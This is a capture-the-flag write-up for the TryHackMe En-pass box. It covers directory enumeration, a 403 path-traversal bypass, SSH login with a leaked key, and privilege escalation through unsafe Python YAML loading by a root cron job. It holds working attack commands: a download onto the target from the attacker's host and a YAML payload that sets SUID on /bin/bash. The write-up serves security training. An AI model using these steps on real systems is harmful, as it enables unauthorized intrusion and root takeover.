TryHackMe En-Pass Writeup

TryHackMe En-pass Writeup

This writeup will help you solve the En-pass box on TryHackMe. Before we start enumerating the box, add the following line to your /etc/hosts file.

echo “<box_ip> enpass.thm” >> /etc/hosts

Enumeration

We start by running a port scan on the host using nmap. The sC and sV flags indicate that basic vulnerability scripts are executed against the target and that the port scan tries to find version information.

nmap -sV -sC enpass.thm

The output of the scan can be seen below:

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 2048 8a:bf:6b:1e:93:71:7c:99:04:59:d3:8d:81:04:af:46 (RSA)

| 256 40:fd:0c:fc:0b:a8:f5:2d:b1:2e:34:81:e5:c7:a5:91 (ECDSA)

|_ 256 7b:39:97:f0:6c:8a:ba:38:5f:48:7b:cc:da:72:a8:44 (ED25519)

8001/tcp open http Apache httpd 2.4.18 ((Ubuntu))

|_http-server-header: Apache/2.4.18 (Ubuntu)

|_http-title: En-Pass

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We see 2 open ports. Port 22 is used for SSH and port 8001 serves for a web server. Browsing to http://enpass.thm:8001/ gives the following page:

Name The Path.

Let’s use gobuster to find hidden files and directories. Run the following command:

gobuster dir -u http://enpass.thm:8001/ -w /usr/share/wordlists/common.txt -x php

The output can be seen below:

/403.php (Status: 403)

/index.html (Status: 200)

/reg.php (Status: 200)

/server-status (Status: 403)

/web (Status: 301)

/zip (Status: 301)

We find two interesting paths here: zip and web. Furthermore, 403.php and reg.php look like interesting files. For now, let’s try to find more directories or files within this directory by running gobuster again for this directory.

gobuster dir -u http://enpass.thm:8001/web/ -w /usr/share/wordlists/common.txt

This gives us the following output:

/.htaccess (Status: 403)

/.htpasswd (Status: 403)

/.hta (Status: 403)

/resources (Status: 301)

Now we find the resources directory. Enumerating this directory the same way as we did before do not result in any interesting directories or files. You need another wordlist to find more hidden directories or files. Using the directory-list-2.3-medium.txt list will provide you with valuable output. Run gobuster using the following command:

gobuster dir -u http://enpass.thm:8001/web/resources/ -w /usr/share/wordlists/directory-list-2.3-medium.txt

The output is listed below:

/infoseek (Status: 301)

Run gobuster again to find the next directory.

gobuster dir -u http://enpass.thm:8001/web/resources/infoseek/ -w /usr/share/wordlists/common.txt

The output can be seen below:

/configure (Status: 301)

Run gobuster one final time to find the path required:

gobuster dir -u http://enpass.thm:8001/web/resources/infoseek/configure/ -w /usr/share/wordlists/directory-list-2.3-medium.txt -x php

The final output can be seen below:

/.hta (Status: 403)

/.htaccess (Status: 403)

/.htpasswd (Status: 403)

/key (Status: 200)

Browsing to http://enpass.thm:8001/web/resources/infoseek/configure/key gives us a private key. For now the private key does not provide us with much. The private key is password protected so we need to find the username and the password to log into the server using SSH.

reg.php

The content of http://enpass.thm:8001/reg.php can be seen below:

When inspecting the Page Source, we find the following snippet:

<?php

if ($_SERVER[“REQUEST_METHOD”] == “POST”)

{

$title = $_POST[“title”];

if (!preg_match(‘/[a-zA-Z0–9]/i’, $title))

{

$val = explode(“,”, $title);

$sum = 0;

for ($i = 0;$i < 9;$i++)

{

if ((strlen($val[0]) == 2) and (strlen($val[8]) == 3))

{

if ($val[5] != $val[8] and $val[3] != $val[7])

$sum = $sum + (bool)$val[$i] . “
“;

}

}

if (($sum) == 9)

{

echo $result; //do not worry you’ll get what you need.

echo “ Congo You Got It !! Nice “;

}

else

{

echo “ Try Try!!”;

}

}

else

{

echo “ Try Again!! “;

}

}

?>

The script checks the input on a set of requirements. For instance, the input !!,!,!,!,!,!,!,!!,!!! will be valid according to the regular expression shown above. Filling in this input reveals the message:

Nice. Password : <REDACTED>

403.php by-pass

The password we found belongs to the private key. The only thing left is to find the username so that we can log in the server using SSH. The last interesting page we can use to find the username is the 403.php file. Using 403fuzzer we can try to fuzz the 403 page. Run the following commands:

git clone https://github.com/intrudir/403fuzzer.git

cd 403fuzzer/

python3 403fuzzer.py -u http://enpass.thm:8001/403.php | grep 200

We only want to see valid pages, so that’s why we add the grep 200 to our command. Within a few minutes, you should see the following output:

Response Code: 200 Length: 2563 Path: /

Response Code: 200 Length: 2563 Path: /

Response Code: 200 Length: 2563 Path: /

Response Code: 200 Length: 2563 Path: /

Response Code: 200 Length: 2563 Path: /403.php%3b/%2e.

Response Code: 200 Length: 2563 Path: /403.php%3b/..

Response Code: 200 Length: 2563 Path: /403.php/%2e%2e

Response Code: 200 Length: 2563 Path: /403.php/%2e%2e/

Response Code: 200 Length: 2563 Path: /403.php/..

Response Code: 200 Length: 2563 Path: /403.php/../

Response Code: 200 Length: 2563 Path: /403.php/../../..//

Response Code: 200 Length: 2563 Path: /403.php/../..//

Response Code: 200 Length: 2563 Path: /403.php/../.;/../

Response Code: 200 Length: 2563 Path: /403.php/..//

Response Code: 200 Length: 2563 Path: /403.php/..//../

Response Code: 200 Length: 2563 Path: /403.php/../;/../

Response Code: 200 Length: 917 Path: /403.php/..;/

Response Code: 200 Length: 2563 Path: /403.php//../../

Response Code: 200 Length: 2563 Path: /403.php;/%2e%2e

Response Code: 200 Length: 2563 Path: /403.php;/%2e%2e/

Response Code: 200 Length: 2563 Path: /403.php;/%2e.

Response Code: 200 Length: 2563 Path: /403.php;/.%2e

Response Code: 200 Length: 2563 Path: /403.php;/..

Response Code: 200 Length: 2563 Path: /403.php;/../

Response Code: 200 Length: 2563 Path: /403.php;/../..//

Response Code: 200 Length: 2563 Path: /403.php;/../.;/../

Response Code: 200 Length: 2563 Path: /403.php;/..//

Response Code: 200 Length: 2563 Path: /403.php;/..//%2e%2e/

Response Code: 200 Length: 2563 Path: /403.php;/..//../

Response Code: 200 Length: 2563 Path: /403.php;/..///

Response Code: 200 Length: 2563 Path: /403.php;/../;/../

Response Code: 200 Length: 2563 Path: /403.php;//../../

Response Code: 200 Length: 2563 Path: /

Response Code: 200 Length: 2563 Path: /

Response Code: 200 Length: 2563 Path: /

Response code: 200 Response length: 0 Sent OPTIONS method.

One of the valid responses has a different size than the other responses. Browe to: http://enpass.thm:8001/403.php/..;/ to find the following text:

Glad to see you here.Congo, you bypassed it. ‘<redacted>’ is waiting for you somewhere.

Here we find the username so now we can finally log into the server using SSH to obtain the user.txt flag. Download the private key and log into the server by running:

wget http://enpass.thm:8001/web/resources/infoseek/configure/key

chmod 400 key

ssh -i key <redacted>@enpass.thm

Provide the password we found on the reg.php page, and we are into the system! The user.txt flag is located at /home/<redacted>/user.txt. You can run: /bin/bash -i to obtain a bash shell instead of a sh shell. It’s all a matter of personal preferences ;).

Root Flag

The last step in rooting the box is finding the root.txt flag. First, make sure to run pspy64s to find processes running on the system. Run the following lines on your local machine:

wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64s

python3 -m http.server

Then on the box run:

cd /tmp

wget HTTP://<ATTACKBOX_IP>:8000/pspy64s

chmod +x pspy64s

./pspy64s

You should be able to view some of the running processes. The most interesting one is:

/bin/sh -c cd /opt/scripts && sudo /usr/bin/python /opt/scripts/file.py && sudo rm -f /tmp/file.yml

It seems like this command is executed every minute by the root user. The contents of /opt/scripts/file.py can be seen below:

#!/usr/bin/python

import yaml

class Execute():

def __init__(self,file_name =”/tmp/file.yml”):

self.file_name = file_name

self.read_file = open(file_name ,”r”)

def run(self):

return self.read_file.read()

data = yaml.load(Execute().run())

A yaml file is requested at /tmp/file.yml. The content is read and executed afterwards. If the yaml file is not properly sanitized, an attacker can potentially run remote code. Run the following commands:

cd /tmp

touch file.yml

echo ‘!!python/object/apply:os.system [“chmod 4777 /bin/bash”]’ > file.yml

Wait for a minute and run:

/bin/bash -p

The root.txt flag is located in /root/root.txt.

This box was fun to root. I learned that you do not need to stop enumerating the system when you find a 403 page. Furthermore, despite using innocent yaml configuration files, you still can break the whole system if you abuse how you use them.